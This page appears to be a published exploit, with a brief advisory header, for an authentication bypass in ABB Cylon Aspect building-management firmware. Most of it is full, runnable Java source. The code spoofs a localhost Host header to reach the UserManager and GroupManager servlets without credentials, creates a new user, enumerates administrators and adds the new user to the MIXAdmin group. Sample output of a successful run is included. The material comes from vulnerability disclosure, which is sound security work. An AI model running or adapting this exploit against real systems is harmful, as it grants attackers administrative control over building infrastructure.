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📄 ABB Cylon Aspect 3.08.03 Authentication Bypass
/*
ABB Cylon Aspect 3.08.03 (MIX->UserManager) Auth Bypass Create MIXAdmin
Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: NEXUS Series, MATRIX-2 Series, ASPECT-Enterprise, ASPECT-Studio
Firmware: <=3.08.03
Summary: ASPECT is an award-winning scalable building energy management
and control solution designed to allow users seamless access to their
building data through standard building protocols including smart devices.
Desc: ABB Cylon Aspect BMS/BAS is vulnerable to a critical flaw in the
AuthenticatedHttpServlet within its application server, enabling
remote attackers to bypass authentication by setting the Host:
127.0.0.1 header. This deceives the server into processing requests
as if they originate from localhost, granting unauthorized access
to privileged operations. Specifically, this vulnerability impacts
the UserManager and GroupManager servlets, allowing unauthenticated
attackers to create and remove users and groups without credentials.
The flaw stems from the servlet’s automatic authorization of localhost
requests as the aamuser account, exposing these sensitive functions
to both local and remote exploitation. By leveraging this bypass,
attackers can manipulate user and group configurations, potentially
escalating privileges or disrupting system access controls.
--------------------------------------------------------------------------
$ java -jar MixExploit.jar 192.168.73.31 testingus 123456 MIXAdmin
[+] User 'testingus' added successfully.
[+] Found MIXAdmin users: [aamuser, thricer, burj, redbull]
[+] User 'testingus' added to MIXAdmin.
[+] User 'testingus' found in UserManager.
[+] User 'testingus' is in MIXAdmin group.
--------------------------------------------------------------------------
Tested on: GNU/Linux 3.15.10 (armv7l)
GNU/Linux 3.10.0 (x86_64)
GNU/Linux 2.6.32 (x86_64)
Intel(R) Atom(TM) Processor E3930 @ 1.30GHz
Intel(R) Xeon(R) Silver 4208 CPU @ 2.10GHz
PHP/7.3.11
PHP/5.6.30
PHP/5.4.16
PHP/4.4.8
PHP/5.3.3
AspectFT Automation Application Server
lighttpd/1.4.32
lighttpd/1.4.18
Apache/2.2.15 (CentOS)
OpenJDK Runtime Environment (rhel-2.6.22.1.-x86_64)
OpenJDK 64-Bit Server VM (build 24.261-b02, mixed mode)
ErgoTech MIX Deployment Server 2.0.0
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
Macedonian Information Security Research and Development Laboratory
Zero Science Lab - https://www.zeroscience.mk - @zeroscience
Advisory ID: ZSL-2025-5939
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5939.php
21.04.2024
*/
import java.io.*;
import java.net.*;
import java.util.*;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MixExploit {
private static final String USER_MANAGER_URL = "/servlets/UserManager";
private static final String GROUP_MANAGER_URL = "/servlets/GroupManager?selectedGroup=MIXAdmin";
private static final int PORT = 7226;
public static void main(String[] args) {
if (args.length != 4) {
printUsage();
return;
}
String ip = args[0];
String newUser = args[1];
String password = args[2];
String group = args[3];
try {
if (!checkServerAndUser(ip, newUser)) {
System.out.println("[-] Aborting: Either server is not AspectFT or user '" + newUser + "' already exists.");
return;
}
addNewUser(ip, newUser, password);
System.out.println("[+] User '" + newUser + "' added successfully.");
List<String> mixAdminUsers = enumerateUsers(ip);
System.out.println("[+] Found MIXAdmin users: " + mixAdminUsers);
addUsersToGroup(ip, mixAdminUsers, newUser, group);
System.out.println("[+] User '" + newUser + "' added to " + group + ".");
Thread.sleep(3000);
verifyUserAdded(ip, newUser);
} catch (IOException e) {
System.out.println("[-] Error: " + e.getMessage());
} catch (InterruptedException e) {
System.out.println("[-] Sleep interrupted: " + e.getMessage());
}
}
private static void printUsage() {
System.out.println("\n");
System.out.println(" P R O J E C T");
System.out.println("");
System.out.println(" .|");
System.out.println(" | |");
System.out.println(" |'| ._____");
System.out.println(" ___ | | |. |' .---\"|");
System.out.println(" _ .-' '-. | | .--'| || | _| |");
System.out.println(" .-'| _.| | || '-__ | | | || |");
System.out.println(" |' | |. | || | | | | || |");
System.out.println(" ___| '-' ' \"\" '-' '-.' '` |___");
System.out.println("░▒▓███████▓▒░░▒▓███████▓▒░ ░▒▓██████▓▒░░▒▓█▓▒░▒▓███████▓▒░ ");
System.out.println("░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ");
System.out.println("░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ");
System.out.println("░▒▓███████▓▒░░▒▓███████▓▒░░▒▓████████▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ");
System.out.println("░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ");
System.out.println("░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░ ");
System.out.println("░▒▓███████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░");
System.out.println(" ░▒▓████████▓▒░▒▓██████▓▒░ ░▒▓██████▓▒░ ");
System.out.println(" ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░");
System.out.println(" ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░░░░░░ ");
System.out.println(" ░▒▓██████▓▒░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒▒▓███▓▒░");
System.out.println(" ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░");
System.out.println(" ░▒▓█▓▒░░░░░░░▒▓█▓▒░░▒▓█▓▒░▒▓█▓▒░░▒▓█▓▒░");
System.out.println(" ░▒▓█▓▒░░░░░░░░▒▓██████▓▒░ ░▒▓██████▓▒░");
System.out.println("\n");
System.out.println("Usage: java -jar MixExploit.jar <IP> <USER> <PASS> <GROUP>");
System.out.println("Example: java -jar MixExploit.jar 192.168.73.31 testingus 123456 MIXAdmin");
}
private static boolean checkServerAndUser(String ip, String newUser) throws IOException {
String response = sendGetRequest(ip, USER_MANAGER_URL);
if (!response.contains("Server:AspectFT Automation Application Server")) {
System.out.println("[-] Server is not AspectFT Automation Application Server.");
return false;
}
if (response.contains("value='" + newUser + "'")) {
System.out.println("[-] User '" + newUser + "' already exists in UserManager.");
return false;
}
return true;
}
private static void addNewUser(String ip, String username, String password) throws IOException {
String url = USER_MANAGER_URL;
String postData = "newuser=" + URLEncoder.encode(username, "UTF-8") +
"&password=" + URLEncoder.encode(password, "UTF-8") +
"&passwordConfirm=" + URLEncoder.encode(password, "UTF-8") +
"&Insert=Add";
sendPostRequest(ip, url, postData);
}
private static List<String> enumerateUsers(String ip) throws IOException {
String response = sendGetRequest(ip, USER_MANAGER_URL);
List<String> mixAdminUsers = new ArrayList<>();
Pattern userPattern = Pattern.compile("<tr><td class=\"data\">.*?value='([^']+)'.*?<td class=\"data\">(.*?)</td>", Pattern.DOTALL);
Pattern groupPattern = Pattern.compile("GroupManager\\?selectedGroup=\\s*MIXAdmin");
Matcher userMatcher = userPattern.matcher(response);
while (userMatcher.find()) {
String user = userMatcher.group(1);
String groups = userMatcher.group(2);
if (groupPattern.matcher(groups).find()) {
mixAdminUsers.add(user);
}
}
return mixAdminUsers;
}
private static void addUsersToGroup(String ip, List<String> existingUsers, String newUser, String group) throws IOException {
String url = GROUP_MANAGER_URL;
String preventiveRight = new StringBuilder().append(existingUsers).append(",").append(newUser).toString();
StringBuilder newRight = new StringBuilder();
for (String user : existingUsers) {
newRight.append(URLEncoder.encode(user, "UTF-8")).append(",");
}
newRight.append(URLEncoder.encode(newUser, "UTF-8"));
String postData = "groupName=" + URLEncoder.encode(group, "UTF-8") +
"&removedLeft=" + URLEncoder.encode(newUser, "UTF-8") +
"&removedRight=" + URLEncoder.encode("", "UTF-8") +
"&addedLeft=" + URLEncoder.encode("", "UTF-8") +
"&addedRight=" + URLEncoder.encode(newUser, "UTF-8") +
"&newLeft=" + URLEncoder.encode("", "UTF-8") +
"&newRight=" + newRight.toString() +
"&EditGroup=Save";
sendPostRequest(ip, url, postData);
}
private static void verifyUserAdded(String ip, String username) throws IOException {
String response = sendGetRequest(ip, USER_MANAGER_URL);
if (response.contains("value='" + username + "'")) {
System.out.println("[+] User '" + username + "' found in UserManager.");
if (response.contains("MIXAdmin")) {
System.out.println("[+] User '" + username + "' is in MIXAdmin group.");
} else {
System.out.println("[-] User '" + username + "' not in MIXAdmin group.");
}
} else {
System.out.println("[-] User '" + username + "' not found in UserManager.");
}
}
private static String sendPostRequest(String ip, String path, String postData) throws IOException {
Socket socket = new Socket(ip, PORT);
OutputStream out = socket.getOutputStream();
BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
String request = "POST " + path + " HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Type: application/x-www-form-urlencoded\r\n" +
"Content-Length: " + postData.length() + "\r\n" +
"Connection: close\r\n" +
"\r\n" +
postData;
out.write(request.getBytes("UTF-8"));
out.flush();
StringBuilder response = new StringBuilder();
String line;
while ((line = in.readLine()) != null) {
response.append(line).append("\n");
}
socket.close();
return response.toString();
}
private static String sendGetRequest(String ip, String path) throws IOException {
Socket socket = new Socket(ip, PORT);
OutputStream out = socket.getOutputStream();
BufferedReader in = new BufferedReader(new InputStreamReader(socket.getInputStream()));
String request = "GET " + path + " HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Connection: close\r\n" +
"\r\n";
out.write(request.getBytes("UTF-8"));
out.flush();
StringBuilder response = new StringBuilder();
String line;
while ((line = in.readLine()) != null) {
response.append(line).append("\n");
}
socket.close();
return response.toString();
}
}Data
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23 May 2025 00:00Current
7.5High risk
Vulners AI Score7.5